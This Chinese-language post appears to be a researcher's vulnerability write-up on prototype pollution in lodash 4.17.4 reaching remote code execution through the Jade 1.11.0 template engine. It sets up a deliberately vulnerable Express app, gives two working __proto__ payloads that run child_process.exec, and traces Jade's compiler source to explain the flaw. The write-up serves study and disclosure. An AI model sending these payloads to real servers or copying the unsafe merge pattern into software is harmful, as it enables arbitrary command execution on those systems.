记录自己的理解,有什么不对的欢迎各位师傅指正。
一、环境搭建
npm install jade@1.11.0
npm install lodash@4.17.4
npm install express
app.js
const express = require('express');
const path = require('path');
var lodash= require('lodash');
const app = express();
var router = express.Router();
app.set('views', path.join(__dirname));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");
app.use(express.json()).use(express.urlencoded({
extended: false
}));
router.get('/', (req, res, next) => {
var malicious_payload = req.query.malicious_payload;
lodash.merge({}, JSON.parse(malicious_payload));
res.render('./index.jade', {
title: 'hello',
name: ''
});
});
app.use('/', router)
app.listen(8888, () => console.log('Example app listening on port http://127.0.0.1:8888 !'))
index.jade
h1 title: #{title}
p hello #{name}
二、漏洞复现
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}}
{"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}


三、漏洞分析
3.1、流程分析
前面这部分和ejs一样的。
入口点还是res.render。

进入app.render,往下走,走到tryRender函数,继续跟进。


调用了view的render方法。继续跟进。

接着看到this.engine,之前分析的ejs有分析过,这个是什么。就不再分析了,继续跟进。

这里会进入jade模板文件的lib目录下的index.js,调用了exports.__express这个函数。然后调用renderFile来渲染文件。继续跟进。

来到函数最后一行,处理模板缓存的一个函数。先是执行handleTemplateCache(options)这个函数,肯定返回一个函数,我们假设把这个函数命名为fn,那么后面这个(options)就是调用fn(options)。继续跟进。


可以看到我打断点的那一行,也就是174行,注意这里返回的内容赋值给了templ变量,然后返回出去了,所以这里一定返回了一个函数,跟进看看。

我把这段代码全部贴出来。获取options变量,获取str变量。然后解析这两个变量,赋值给parsed变量。如果options.compileDebug不等于false,也就是debug模式开起来了。进入if,没开起来就将parsed.body赋值给fn,说明parsed里面可能有body这个属性。如果没有的话,那么就可以污染控制。下面一行代码将fn的值作为函数体创建一个函数,命名为fn。所以说我们这个parsed的body属性能控制的话,这个函数内容就能控制,如果说这个函数能执行,那么我们就可以代码执行。这是一个思考点。接着继续分析,下面创建一个res函数,里面传入locals参数,然后函数体里面调用的就是fn。jade的值就就是Object.create(runtime),相当于嵌套了一下,调用了res的话,就会调用fn函数。然后我们直接看最后一行。确实是返回了res,我们记得之前的时候我们需要返回一个函数,然后会执行这个函数,所以说这个fn函数一定会被执行。那么我们再来看看这个parse.body是否能被控制。我们进入parse(str,options)继续分析。
exports.compile = function(str, options){
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;
str = String(str);
var parsed = parse(str, options);
if (options.compileDebug !== false) {
fn = [
'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
, 'try {'
, parsed.body
, '} catch (err) {'
, ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
, '}'
].join('\n');
} else {
fn = parsed.body;
}
fn = new Function('locals, jade', fn)
var res = function(locals){ return fn(locals, Object.create(runtime)) };
if (options.client) {
res.toString = function () {
var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
err.name = 'Warning';
console.error(err.stack || /* istanbul ignore next */ err.message);
return exports.compileClient(str, options);
};
}
res.dependencies = parsed.dependencies;
return res;
};
1、判断options.lexer是否存在,存在就产生一个警告。
2、创建一个解析器。
3、定义一个tokens变量。
4、解析获取tokens并赋值给tokens。
5、创建一个编译器。
6、定义js变量。
7将编译的结果赋值给js变量。
8、判断debug模式有没有开启,开启则控制台输出错误。
9、定义一个globals数组变量。
10、判断options.globals存不存在,存在就将其进行slice操作之后赋值给globals。
11、将jade、jade_mixins、...、buf等值赋值给globals数组。
12、定义body变量并进行赋值操作,里面有一个三元符的运算,如果options.self为true的话,就将'var self = locals || {};\n' + js 拼接进入body变量。否则将addWith('locals || {}', '\n' + js, globals)拼接进去。
13、返回一个对象,里面有两个属性,一个是body属性,一个是dependencies属性。
body属性的值等于里面 的body变量。所以我们只需要能控制body变量,就能进行代码执行。
function parse(str, options){
if (options.lexer) {
console.warn('Using `lexer` as a local in render() is deprecated and '
+ 'will be interpreted as an option in Jade 2.0.0');
}
// Parse
var parser = new (options.parser || Parser)(str, options.filename, options);
var tokens;
try {
// Parse
tokens = parser.parse();
} catch (err) {
parser = parser.context();
runtime.rethrow(err, parser.filename, parser.lexer.lineno, parser.input);
}
// Compile
var compiler = new (options.compiler || Compiler)(tokens, options);
var js;
try {
js = compiler.compile();
} catch (err) {
if (err.line && (err.filename || !options.filename)) {
runtime.rethrow(err, err.filename, err.line, parser.input);
} else {
if (err instanceof Error) {
err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues';
}
throw err;
}
}
// Debug compiler
if (options.debug) {
console.error('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m', js.replace(/^/gm, ' '));
}
var globals = [];
if (options.globals) {
globals = options.globals.slice();
}
globals.push('jade');
globals.push('jade_mixins');
globals.push('jade_interp');
globals.push('jade_debug');
globals.push('buf');
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};
}
这里我们发现有他将js这个变量拼接进了body变量,我们仔细看看js这个变量怎么获取到的。所以进入
js = compiler.compile();代码中。

1、给this.buf赋值为一个空数组用来存放数据,buf明显就是缓存的意思,最后可以看到return出去了,并且将里面的数据以换行为分割进行的拼接。
2、判断this.pp是否为true。如果是的话将var jade_indent = []; 代码放入这个数组。
3、设置this.lastBufferedIdx为-1。
4、调用this.visit这个函数,传入的参数为this.node。
5、下面的代码有注释,这里就不分析,主要看this.visit函数,我们跟进分析。

1、将this.debug赋值给debug。
2、如果开启了debug模式,然后将里面的代码拼接进buf这个数组里面,可以看到node.line,node.filename都拼接进去了。这里两个参数如果可以控制的话。那么就能代码执行了。这里有一个问题,那就是node.line是有值的。其实它运行了很多遍visit这个函数,我们接下来看看payload怎么拼接进去的。
3、后面代码就不重要了。

第一次调用node.line存在没法控制,接着我们来到visitNode函数。传入的node参数是一个Block的一个对象。那么我们需要了解visitNode这个函数的作用,例如我们传入的Block对象,那么它就会调用visitBlock这个函数,如果是Tag这个对象,那么就会调用visitTag这个对象,以此类推。那么我们继续分析。

可以看到visitNode里面调用了visit这个函数。传入的参数是一个Tag对象。


Tag对象中的line依然不可以控制,我们继续跟进。调用visitTag函数。

visitTag里面还有visit函数,传入的参数是一个block这个类,注意看这个类里面是没有line这个变量的,所以会使用到我们的payload。自此,我们的payload就被拼接,导致代码执行的产生。


buf内容
Array(4) [jade_debug.unshift(new jade.DebugItem( 0, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
jade_debug.unshift(new jade.DebugItem( 1, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
buf.push("<h1>");,
jade_debug.unshift(new jade.DebugItem( global.proc…rocess').exec('calc'), jade_debug[0].filename ));]
可以看到拼接进去的时候是DebugItem的第一个参数,所以可以直接执行命令。